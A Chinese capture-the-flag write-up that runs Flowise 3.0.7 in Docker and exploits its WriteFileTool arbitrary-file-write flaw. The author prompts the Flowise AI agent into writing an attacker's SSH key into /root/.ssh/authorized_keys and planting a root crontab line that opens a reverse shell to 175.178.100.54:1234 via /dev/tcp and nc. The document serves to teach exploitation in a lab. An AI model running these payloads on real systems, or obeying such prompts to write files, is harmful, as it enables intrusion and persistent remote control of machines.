

ez_al

分析提示9月份搭的网站，那就用9月份的docker， [flowiseai/flowise - Docker Image | Docker Hub](#)

TAG	Digest	OS/ARCH	docker pull	Compressed size
3.0.10	9fb113796773	linux/amd64	docker pull flowiseai/flowise:3.0.10	852.39 MB
	f7c04ab29a12	linux/arm64		824.36 MB
3.0.8	438bb60029392	linux/amd64	docker pull flowiseai/flowise:3.0.8	849.53 MB
	8ac406cc4dd7	linux/arm64		821.48 MB
3.0.7	31770f027289	linux/amd64	docker pull flowiseai/flowise:3.0.7	843.99 MB
	16702614e6f3	linux/arm64		816.12 MB

搭建环境

```
docker pull flowiseai/flowise:3.0.7

docker run -d \
--name flowise \
-p 3000:3000 \
-e HOST=0.0.0.0 \
-e PORT=3000 \
flowiseai/flowise:3.0.7
```

docker exec -it [container id] sh调试，

可以发现这个版本有cve， [WriteFileTool 任意文件写入漏洞 · 咨询 · FlowiseAI/Flowise](#)

复现文章内容发现上面三个提升rce的方法都打不了，根据提示执行了crond，打计划任务

 Clear Chat

写上"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDUbAI/BMDFyVUdXlpJRJhAzDFGztThY3ohoDo+6ypa7 shqi@shqi-VMware-Virtual-Platform"到/root/hacked.txt

 Process Flow

创建/root/.ssh

 Process Flow

写上"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDUbAI/BMDFyVUdXlpJRJhAzDFGztThY3ohoDo+6ypa7 shqi@shqi-VMware-Virtual-Platform"到/root/.ssh/authorized_keys

 Process Flow

把***** sh -i >& /dev/tcp/175.178.100.54/1234 0>&1"写入/etc/crontabs/root

 Process Flow

payload

```
把“* * * * * /bin/sh -c 'echo “[$(date)] Starting...” >> /tmp/reverse.log; rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | /usr/bin/nc 175.178.100.54 1234 > /tmp/f' 2>> /tmp/reverse_error.log”写入/etc/crontabs/root
```

等待一分钟即可